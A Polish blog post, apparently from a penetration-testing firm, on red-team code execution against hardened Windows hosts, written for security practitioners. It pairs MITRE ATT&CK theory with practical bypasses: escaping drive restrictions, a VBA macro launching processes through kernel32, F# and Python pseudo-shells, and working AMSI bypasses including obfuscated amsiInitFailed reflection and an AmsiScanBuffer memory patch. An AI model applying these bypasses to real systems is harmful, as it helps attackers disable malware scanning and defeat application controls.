Code Execution
Wstęp
Jednym z wyzwań w trakcie operacji Red Teamowych po uzyskaniu początkowego dostępu jest wykonywanie kodu na utwardzonych systemach. Środowiska korporacyjne często wdrażają dodatkowe zabezpieczenia, takie jak AppLocker i Endpoint Detection and Response (EDR).
Te narzędzia umożliwiają administratorom tworzenie reguł opartych na różnych kryteriach, takich jak ścieżki plików, wydawcy, skróty, rozszerzenia itp. Reguły te dyktują, która aplikacja może działać, a ich egzekwowanie jest możliwe na poszczególnych maszynach lub całych domenach sieciowych.
Jednak, podobnie jak w przypadku wszystkich innych środków bezpieczeństwa, te zabezpieczenia nie są nie do przełamania. Ten artykuł zgłębia zaawansowane techniki omijania takich ograniczeń, opierając się na poprzednim artykule: Red Team Trickery, w którym opisywaliśmy metody na uzyskanie początkowego dostępu. Przyjrzymy się tym zabezpieczeniom i przedstawimy jak wygląda proces ich obchodzenia od kuchni. Miłej lektury!
TEORIA – Zrozumienie fazy Wykonania
Wykonanie jest krytyczne w cyklu życia cyberataku. Głównym celem tej fazy jest uruchomienie terminala (cmd.exe
| powershell.exe
) lub pośrednie wykonanie poleceń systemowych w celu przeprowadzenia złośliwych działań.
Wykonanie składa się z technik, które skutkują uruchomieniem kodu kontrolowanego przez osobę atakującą w lokalnym lub zdalnym systemie. Techniki, które uruchamiają złośliwy kod, są często łączone z technikami ze wszystkich innych taktyk, aby osiągnąć szersze cele, takie jak eksploracja sieci lub kradzież danych. Na przykład osoba atakująca może użyć narzędzia dostępu zdalnego do uruchomienia skryptu PowerShell i dalej, przeprowadzić rekonesans infrastruktury wewnętrznej.
Execution, Tactic TA0002 – Enterprise | MITRE ATT&CK®
Kluczowe Aspekty Wykonania
- Wszechstronność: Techniki mogą być stosowane na różnych etapach ataku, od początkowego dostepu, przez eskalację uprawnień, aż do pełnej kompromitacj. Służą jako pomost między różnymi taktykami, umożliwiając osobie atakującej przechodzenie przez łańcuch ataku.
- Typy kodu: Wykonanie może obejmować uruchamianie skryptów, plików binarnych, poleceń, a nawet wykorzystywanie legalnych narzędzi systemowych do złośliwych celów. Ta wszechstronność utrudnia wykrywanie i zapobieganie (np. uruchamianie Virtual Basic jako makro w programie Word).
- Poziomy uprawnień: Techniki mogą działać na różnych poziomach uprawnień, od użytkownika, przez usługę, po poziom systemu, w zależności od bieżącego dostępu i celów osoby atakującej (np. uruchamianie kodu w kontekście aplikacji internetowej).
- Połączenie unikania: Techniki są ściśle powiązane z unikaniem obrony, ponieważ osoby atakujące często muszą ominąć dodatkowe kontrole bezpieczeństwa, aby pomyślnie wykonać swój kod (np. obejście AMSI).
Typowe techniki Wykonania
W Execution, Tactic TA0002—Enterprise | MITRE ATT&CK® możemy przeczytać o różnych technikach wykonywania kodu po uzyskaniu początkowego dostępu do maszyny docelowej. Chociaż techniki nie opisują wszystkich możliwości, to stanowią dobry punkt wyjścia. Poniżej znajduje się lista zawierająca tylko główne punkty z krótszym opisem, aby zilustrować typowe techniki stosowane przez osoby atakujące:
- Interpreter poleceń i skryptów: korzystanie z wbudowanych interfejsów wiersza poleceń lub języków skryptowych, takich jak PowerShell, Python lub VBScript.
- Polecenie administracji kontenerem: wykorzystywanie usług zarządzania kontenerami, takich jak demon Docker lub serwer API Kubernetes, do wykonywania poleceń w kontenerach.
- Wdrażanie kontenera: wdrażanie złośliwych kontenerów w celu ułatwienia wykonywania lub obejścia zabezpieczeń.
- Wykorzystanie do wykonywania przez klienta: wykorzystywanie luk w aplikacjach klienckich do wykonywania dowolnego kodu.
- Komunikacja międzyprocesowa (IPC): nadużywanie mechanizmów IPC do wykonywania kodu lokalnego, w tym:
- Model obiektów komponentów (COM)
- Dynamiczna wymiana danych (DDE)
- Usługi XPC (macOS)
- Natywny interfejs API: bezpośrednia interakcja z natywnymi interfejsami API systemu operacyjnego w celu wykonywania operacji systemowych niskiego poziomu.
- Zaplanowane zadanie/zadanie: nadużywanie funkcji planowania zadań w różnych systemach operacyjnych:
- Harmonogram zadań systemu Windows
- Zadania cron systemu Unix
- Timery systemd
- Zadania orkiestracji kontenerów
- Wykonywanie bezserwerowe: wykorzystywanie usług obliczeniowych bezserwerowych w środowiskach chmurowych do uruchamiania złośliwego kodu.
- Moduły współdzielone: ładowanie złośliwych modułów współdzielonych w celu wykonywania ładunków w procesach.
- Narzędzia wdrażania oprogramowania: wykorzystanie scentralizowanych narzędzi do zarządzania oprogramowaniem, takich jak SCCM, Altiris lub menedżery wdrażania w chmurze.
- Usługi systemowe: nadużywanie usług systemowych lub demonów do wykonywania poleceń:
- Wykonywanie przez użytkownika (inżynieria społeczna): oszukiwanie użytkowników w celu uruchomienia złośliwej zawartości:
- Złośliwe łącza
- Złośliwe pliki
- Złośliwe obrazy (w tym obrazy usług w chmurze i obrazy kontenerów)
- Instrumentacja zarządzania systemem Windows (WMI): wykorzystywanie WMI do wykonywania złośliwych poleceń i ładunków.
- Polecenie administracji chmurą: nadużywanie usług zarządzania chmurą, takich jak AWS Systems Manager lub Azure RunCommand, do wykonywania poleceń na maszynach wirtualnych.
Lista obejmuje różne techniki wykonywania, obejmujące systemy poza Windows oraz metody dla chmury i kontenerów. Ta różnorodność jest ważna, ponieważ środowiska korporacyjne zawierają różne komponenty. Zapewnia to kompleksowy przegląd tego, w jaki sposób osoby atakujące mogą osiągnąć wykonanie kodu w różnych środowiskach i na różnych platformach. Tutaj skupimy się tylko na systemie Windows.
Znaczenie w łańcuchu ataków
Wykonanie często jest momentem, w którym atak przechodzi od potencjalnej do rzeczywistej szkody. Jest to moment, w którym kod osoby atakującej zaczyna aktywnie działać na systemie docelowym, umożliwiając dalsze działania, takie jak:
- Rozpoznanie: uruchamianie skryptów w celu zebrania informacji o systemie lub sieci.
- Eskalacja uprawnień: uruchamianie exploitów w celu uzyskania dostępu wyższego poziomu.
- Ruch boczny (Lateral Movement): uruchamianie narzędzi do eksploracji i rozprzestrzeniania się w sieci.
- Eksfiltracja danych: uruchamianie programów w celu zlokalizowania i przesłania poufnych danych.
Rozważania obronne
Aby przeciwdziałać technikom Wykonania, obrońcy powinni skupić się na następujących kwestiach:
- Zasady kontroli aplikacji (takie jak AppLocker) w celu ograniczenia tego, co może zostać wykonane.
- Rejestrowanie bloków skryptów i analiza w celu wykrywania złośliwych skryptów.
- Wykrywanie oparte na zachowaniu w celu identyfikacji nietypowych wzorców wykonywania.
- Zasada najmniejszych uprawnień w celu ograniczenia wpływu pomyślnego Wykonania kodu.
- Regularne audyty systemu
Aby wytworzyć diament, musi on zostać poddany ekstremalnej presji. To samo dotyczy bezpieczeństwa systemu. Jedną z najskuteczniejszych metod zabezpieczania systemów jest poddanie ich audytowi przez Red Team. AFINE może zapewnić Ci tę usługę!
Wniosek
Zrozumienie tych technik jest kluczowe zarówno dla czerwonych, jak i niebieskich zespołów. Stanowi solidną podstawę do opracowywania i testowania różnych metod wykonywania kodu. Dla obrońców podkreśla znaczenie monitorowania i kontrolowania kodu, który może być uruchomiony w ich środowisku. Dla badaczy bezpieczeństwa stanowi punkt wyjścia do opracowywania nowych technik.
PRAKTYKA – Omijanie Polityk Wykonania
To druga część artykułu, w której zostaną przedstawione różne scenariusze z fazy Wykonania. Właśnie uzyskaliśmy wstępny dostęp do jednego z docelowych komputerów pracowników firmy.
Podczas rozpoznania odkryliśmy, że mamy dostęp do komputera z systemem Windows, który jest częścią wewnętrznej infrastruktury firmy za pośrednictwem Citrix Workspace. Możemy zalogować się do tego wewnętrznego systemu.
Jednak system wygląda na utwardzony po zalogowaniu, ponieważ nie możemy uzyskać dostępu do dysku C:/ ani uruchomić terminala. Wygląda na to, że pracujemy z zamontowanego dysku sieciowego.
Tak wygląda nasza startowa sytuacja:
Obchodzenie polityk anty-wywiadowczych
W takim scenariuszu pierwszą rzeczą, którą powinniśmy osiągnąć, jest ominięcie ograniczenia dostępu do lokalnych dysków maszyny. Naszym głównym celem jest dostęp do dysku C:/ w celu zenumerowania zainstalowanego oprogramowania i naszego dostępu do poszczególnych plików.
Na pulpicie możemy zobaczyć, że przeglądarka Chrome jest zainstalowana i dostępna. Możemy jej użyć, aby ominąć ograniczenie, przechodząc do: file:///C:/
(możemy również użyć Edge, który jest domyślnym oprogramowaniem):
Jednak pierwsze obejście pozbawia nas uprawnień Eksploratora plików, takich jak możliwość przenoszenia, usuwania i modyfikowania danych. Lepszym sposobem jest użycie paska wyszukiwania Windows do enumeracji oprogramowania zainstalowanego domyślnie na lokalnym dysku C:/
, a następnie użyciu opcji Otwórz lokalizację pliku
, aby uzyskać do niego dostęp:
Ta sztuczka otwiera Eksplorator plików pośrednio przez pasek wyszukiwania, omijając ograniczenie. Pokazuje nam zawartość katalogu C:/Windows/System32
i daje nam „ulepszony” Eksplorator plików, którego możemy swobodnie używać do przechodzenia przez inne katalogi:
Innym sposobem, który może działać jako obejście takich ograniczeń, jest użycie skrótów. Tworzymy na pulpicie skrót do ścieżki C:/, a następnie klikamy go dwukrotnie, aby ponownie uruchomić:
Ostatnim uniwersalnym obejściem, którego możemy użyć, jest Run Dialog
. Możemy je uruchomić za pomocą kombinacji Win+R
lub bezpośrednio w pasku wyszukiwania Windows, ale tym razem nie używamy lokalizacji Open File. Zamiast tego klikamy na program, który ma zostać uruchomiony. Sztuczka polega na wyszukaniu C:, a następnie jego otworzeniu:
Jeżeli powyższe metody okażą się nieskuteczne, powinniśmy zenumerować jak najwięcej programów i wypróbować każdy z nich, do którego masz dostęp, próbując otworzyć popularne ścieżki takie jak:
C:/
C:/Windows/Tasks
C:/Windows/System32/cmd.exe
Po uzyskaniu dostępu do dysku C:/ lokalnej maszyny możemy dalej enumerować zainstalowane oprogramowanie, które może pomóc w wykonywaniu kodu. Podczas rozpoznania powinniśmy pamiętać o teorii, którą przedstawiliśmy powyżej.
Enumerowanie polityk
Typowe metody enumeracji polityk nie działają, ponieważ wymagają dostępu do Powershella, terminala lub rejestrów. Jeśli mamy dostęp do Powershella, możemy enumerować zasady App Locker w następujący sposób:
# XML format:
Get-AppLockerPolicy -Effective -XML > AppLockerPolicy.xml
# Human readable format:
Get-AppLockerPolicy -Effective | Format-List
# Even more readable format:
Import-Module AppLocker
Get-AppLockerPolicy -Effective | Get-AppLockerFileInformation -EventLog -Statistics | Format-List
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# From registers:
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
W przypadku terminala Windows (cmd.exe) możemy zamiast tego użyć poniższego polecenia:
# Checking if App Locker is running
sc query appidsvc
# Dumping all policies (GPO & App Locker)
gpresult /r > gpresult_output.txt
Na koniec, jeśli mamy dostęp do rejestrów, polecenie wygląda następująco:
reg export "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2" AppLockerPolicy.reg
Niestety, często nie mamy dostępu do powyższych metod w utwardzonych systemach. Tutaj znów pojawia się Run Dialog, którego możemy użyć do uruchomienia poleceń gpresult podobnie jak w cmd.exe:
gpresult /h C:\temp\gp_security.html /f
Możemy również po prostu użyć gpedit.msc
, aby wyświetlić polityki:
Jednakże nie będzie tu ograniczeń tworzonych bezpośrednio w rejestrach, takich jak te pokazane poniżej.
Stare, ale złote – Word VBS
Ominęliśmy zasady utrudniające rozpoznanie. Uzyskaliśmy dostęp do dysku C:/. Czas na Wykonanie. Najpierw możemy spróbować utworzyć i wykonać skrypt VBS z pulpitu. Jednak jest to zablokowane:
Dzieje się tak, ponieważ opcja Enabled w HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
jest ustawiona na 0
. Blokuje ona WSH, który jest naszym domyślnym interpreterem VBS w systemie Windows.
Na szczęście dla nas istnieje Microsoft Office Word, w którym możemy używać funkcji makr do pośredniego wykonywania kodu VBS. Poniżej znajduje się przykład, który pokazuje, jak używać zapytań do niskopoziomowych endpointów API systemu Windows w celu wykSonywania poleceń.
To ominie zarówno ograniczenia cmd.exe (nie uruchamiamy terminala), jak i ograniczenia WSH. Kod po prostu zapisuje dane wyjściowe polecenia whoami do pliku C:/temp/test.txt
:
Option Explicit
Private Declare PtrSafe Function CreatePipe Lib "kernel32" ( _
phReadPipe As LongPtr, _
phWritePipe As LongPtr, _
lpPipeAttributes As Any, _
ByVal nSize As Long) As Long
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" ( _
ByVal lpApplicationName As LongPtr, _
ByVal lpCommandLine As String, _
ByVal lpProcessAttributes As LongPtr, _
ByVal lpThreadAttributes As LongPtr, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As LongPtr, _
ByVal lpCurrentDirectory As LongPtr, _
lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function ReadFile Lib "kernel32" ( _
ByVal hFile As LongPtr, _
lpBuffer As Any, _
ByVal nNumberOfBytesToRead As Long, _
lpNumberOfBytesRead As Long, _
ByVal lpOverlapped As LongPtr) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
ByVal hObject As LongPtr) As Long
Private Declare PtrSafe Function SetHandleInformation Lib "kernel32" ( _
ByVal hObject As LongPtr, _
ByVal dwMask As Long, _
ByVal dwFlags As Long) As Long
Private Type STARTUPINFO
cb As Long
lpReserved As LongPtr
lpDesktop As LongPtr
lpTitle As LongPtr
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Const CREATE_NO_WINDOW As Long = &H8000000
Private Const STARTF_USESTDHANDLES As Long = &H100
Private Const HANDLE_FLAG_INHERIT As Long = &H1
Public Sub RunWhoAmI()
Dim si As STARTUPINFO
Dim pi As PROCESS_INFORMATION
Dim hRead As LongPtr
Dim hWrite As LongPtr
Dim sa As SECURITY_ATTRIBUTES
Dim buffer(1024) As Byte
Dim bytesRead As Long
Dim command As String
Dim filePath As String
Dim fileNum As Integer
' Initialize security attributes
sa.nLength = Len(sa)
sa.lpSecurityDescriptor = 0
sa.bInheritHandle = 1
' Create a pipe for the child process's STDOUT
If CreatePipe(hRead, hWrite, sa, 0) = 0 Then
MsgBox "Failed to create pipe."
Exit Sub
End If
' Ensure the read handle to the pipe for STDOUT is not inherited
If SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0) = 0 Then
MsgBox "Failed to set handle information."
Exit Sub
End If
' Initialize the STARTUPINFO structure
si.cb = Len(si)
si.dwFlags = STARTF_USESTDHANDLES
si.hStdOutput = hWrite
si.hStdError = hWrite
' Prepare the command to run
command = "whoami"
' Create the child process
If CreateProcessA(0, command, 0, 0, 1, CREATE_NO_WINDOW, 0, 0, si, pi) = 0 Then
MsgBox "Failed to create process."
Exit Sub
End If
' Close the write end of the pipe before reading from the read end of the pipe
CloseHandle hWrite
' Read output from the child process
filePath = "C:\temp\test.txt"
fileNum = FreeFile
Open filePath For Output As #fileNum
Do While ReadFile(hRead, buffer(0), UBound(buffer), bytesRead, ByVal 0&) <> 0 And bytesRead > 0
Print #fileNum, Left$(StrConv(buffer, vbUnicode), bytesRead)
Loop
Close #fileNum
' Close the handles
CloseHandle hRead
CloseHandle pi.hProcess
CloseHandle pi.hThread
MsgBox "Output written to " & filePath
End Sub
Po wykonaniu makra możemy zobaczyć plik test.txt z danymi wyjściowymi:
Co zaskakujące, takie obejście często działa w przypadku testów utwardzonych środowisk.
Dotnet F#
Generalnie, instalowanie dotnet w utwardzonym środowisku nie jest dobrym pomysłem. Jednak może się zdarzyć, że dotnet jest zainstalowany, ale również utwardzony, aby zezwalać tylko na określone polecenia lub nie uruchamiać się wcale. W naszym przypadku zezwalał tylko na argument fsi.
# The FSI executable can be found here:
C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe
Możliwe jest wykorzystanie języka F# do wykonania następujących poleceń systemowych:
open System
type ProcessResult = {
ExitCode : int;
StdOut : string;
StdErr : string
}
let executeProcess (processName: string) (processArgs: string) =
let psi = new Diagnostics.ProcessStartInfo(processName, processArgs)
psi.UseShellExecute <- false
psi.RedirectStandardOutput <- true
psi.RedirectStandardError <- true
psi.CreateNoWindow <- true
let proc = Diagnostics.Process.Start(psi)
let output = new Text.StringBuilder()
let error = new Text.StringBuilder()
proc.OutputDataReceived.Add(fun args -> output.Append(args.Data) |> ignore)
proc.ErrorDataReceived.Add(fun args -> error.Append(args.Data) |> ignore)
proc.BeginErrorReadLine()
proc.BeginOutputReadLine()
proc.WaitForExit()
{ ExitCode = proc.ExitCode; StdOut = output.ToString(); StdErr = error.ToString() };;
let result = executeProcess "whoami" ""
printfn "StdOut: %s" result.StdOut;;
Możemy również zmodyfikować powyższy kod, aby zbudować pseudoterminal:
open System
open System.Diagnostics
type ProcessResult = {
ExitCode : int;
StdOut : string;
StdErr : string
}
let executeProcess (processName: string) (processArgs: string) : ProcessResult =
let psi = new ProcessStartInfo(processName, processArgs)
psi.UseShellExecute <- false
psi.RedirectStandardOutput <- true
psi.RedirectStandardError <- true
psi.CreateNoWindow <- true
let output = new System.Text.StringBuilder()
let error = new System.Text.StringBuilder()
try
use proc = Process.Start(psi)
proc.OutputDataReceived.Add(fun args -> output.AppendLine(args.Data) |> ignore)
proc.ErrorDataReceived.Add(fun args -> error.AppendLine(args.Data) |> ignore)
proc.BeginErrorReadLine()
proc.BeginOutputReadLine()
proc.WaitForExit()
{ ExitCode = proc.ExitCode; StdOut = output.ToString(); StdErr = error.ToString() }
with
| :? System.ComponentModel.Win32Exception as win32Ex ->
{ ExitCode = -1; StdOut = ""; StdErr = sprintf "Win32 Exception: %s" win32Ex.Message }
| ex ->
{ ExitCode = -1; StdOut = ""; StdErr = sprintf "Exception: %s" ex.Message }
// Function to parse the user command and execute it
let rec executeTerminalCommand () =
printf "> "
let command = System.Console.ReadLine()
match command.ToLowerInvariant() with
| "exit" -> printfn "Exiting..."
| "" -> executeTerminalCommand () // Handle empty input
| _ ->
let parts = command.Split [| ' ' |] // Split command into parts by spaces
let cmd = parts.[0]
let args = String.Join(" ", parts.[1..]) // Join the remaining parts as arguments
let result = executeProcess cmd args
printfn "Exit Code: %d" result.ExitCode
if not (String.IsNullOrWhiteSpace result.StdOut) then printfn "StdOut:\n%s" result.StdOut
if not (String.IsNullOrWhiteSpace result.StdErr) then printfn "StdErr:\n%s" result.StdErr
executeTerminalCommand ()
// Entry point
executeTerminalCommand ()
To obejście nie jest jednak tak powszechne, jak to pokazane powyżej w Wordzie, ponieważ dotnet zwykle nie jest zainstalowany, a gdy jest, jest całkowicie zablokowany. Celem pokazania tego tutaj jest zwrócenie uwagi na sprawdzanie każdego argumentu i funkcji danego narzędzia, do którego możemy uzyskać dostęp.
Windows signed Software – Microsoft Store
Zasady App Locker są zazwyczaj konfigurowane tak, aby zezwolić na uruchamianie na komputerze oprogramowania podpisanego przez Windows lub Store. Ten punkt pokazuje, dlaczego zezwalanie na nieograniczony dostęp do Microsoft Store jest złym pomysłem.
Sklep Microsoft umożliwia instalację różnego oprogramowania firm trzecich. Nawet jeśli instalacja została zablokowana przez msi.exe, może to ją ominąć i zainstalować oprogramowanie firm trzecich. To ogromna luka w utwardzaniu hosta. Niestety, jest to powszechnie widoczne w ocenach. Najprostszym zastosowaniem tego do obejścia ograniczeń wykonywania jest zainstalowanie interpretera, takiego jak Python.
Python
Nie możemy użyć run import os; os.system('whoami')
, ponieważ uruchamia to cmd.exe pod spodem i jest blokowane przez zasady App Locker. Potrzebujemy podobnego sposobu, jak w przypadku obejścia Worda.
Na szczęście podproces pozwala nam wykonywać polecenia systemowe nie w kontekście cmd.exe. Sztuczka polega na użyciu shell=False
:
import subprocess;
subprocess.run(["whoami"], shell=False, stdout=subprocess.PIPE)
Mając te informacje, możemy zbudować proste opakowanie, takie jak to poniżej:
import subprocess;
def cmd(command):
print(subprocess.run(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout)
Możemy pójść o krok dalej i zbudować pseudo-terminal taki jak w F#:
import subprocess
def custom_cmd():
while True:
user_input = input("CustomShell> ")
if user_input.lower() == "exit":
break
args = user_input.split()
result = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
print(result.stdout)
if result.stderr:
print("Error:", result.stderr)
custom_cmd()
W ten sposób możemy wykonywać polecenia systemowe podobnie jak cmd.exe
.
Słowo o AMSI
Jeśli w jakiś sposób uda nam się użyć poleceń PowerShell (na przykład używając .NET Framework z przestrzenią nazw System.Management.Automation w C# do wykonywania poleceń programowo), możemy napotkać Microsoft Defender, który blokuje nam uruchamianie niektórych poleceń.
AMSI.DLL jest ładowany z dysku do swojej przestrzeni adresowej, gdy tworzony jest proces PowerShell. Microsoft Defender najpierw przeskanuje całą dostarczoną zawartość przed wykonaniem.
W środowisku korporacyjnym powszechnie znane obejście amsiInitFailed, które umożliwia odłączenie AMSI.dll, jest blokowane przez niektóre reguły w większości przypadków. Oto typowego obejście:
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like '*iUtils') {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like '*Failed') {$f = $e}}
$f.SetValue($null,$true)
Jednak ze względu na naturę Powershell, niestety nie da się w pełni załatać tego uniwersalnego obejścia. Osoba atakująca może użyć zaciemnionego obejścia, które pokazano poniżej:
$R=[Ref]."Assembly"
$T='S'+'y'+'st'+'em.'+'Ma'+'na'+'gement.'+'Auto'+'mat'+'ion.'+'Amsi'+'U'+'tils'
$G='Get'+'Type'
$F='Get'+'Fie'+'ld'
$V='Set'+'Va'+'lue'
$F2='Non'+'Public,'+'Static'
$R.$G($T).$F('amsi'+'Init'+'Failed',$F2).$V($null,$true)
Innym sposobem jest zaciemnianie poleceń za pomocą AMSI.fail. Na stronie wygenerujemy zaciemniony kod PowerShell, który umożliwia obejście AMSI dla bieżącego procesu:
Ważne jest, aby pamiętać, że inne ograniczenie, .NET AMSI, działa nawet wtedy, gdy AMSI.dll jest omijane za pomocą powyższych technik. Jednak na to istnieje też sposób:
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Na komputerach z systemem Windows zawsze używany jest program Microsoft Defender, dlatego warto zapamiętać te obejścia.
Persistence – kolejny krok
Choć nie jest to konieczne, atakujący zazwyczaj wykonuje złośliwe działania w zagrożonym systemie tylko wtedy, gdy utrzymywana jest trwałość, co jest kolejnym krokiem w łańcuchu ataku. Niezależnie od tego, czy atakujący zdecyduje się na ustawienie pułapki, która pozwoli mu łatwo powrócić do systemu, czy nie, faza wykonania opisana w tym artykule nie może zostać pominięta, aby osiągnąć coś podczas rzeczywistego ataku.
Słowa końcowe
Artykuł tylko krótko omawiał omijanie zasad wykonywania kodu w systemie Windows. Wymienione metody są nadal skuteczne, ale istnieje ich znacznie więcej, a zależą one od wdrożonych zasad i ich błędnej konfiguracji. Warto sprawdzić poniższe linki w kontekście tematu omijania ograniczeń:
Jeśli interesuje Cię bezpieczeństwo systemu Windows, polecam śledzić Grzegorza Tworka. Jeśli treść tutaj jest trudna do zrozumienia, ale chcesz zacząć się uczyć, OSEP jest dobrym początkiem.
Zachęcam również do regularnego odwiedzania naszego bloga w celu zdobycia nowej wiedzy!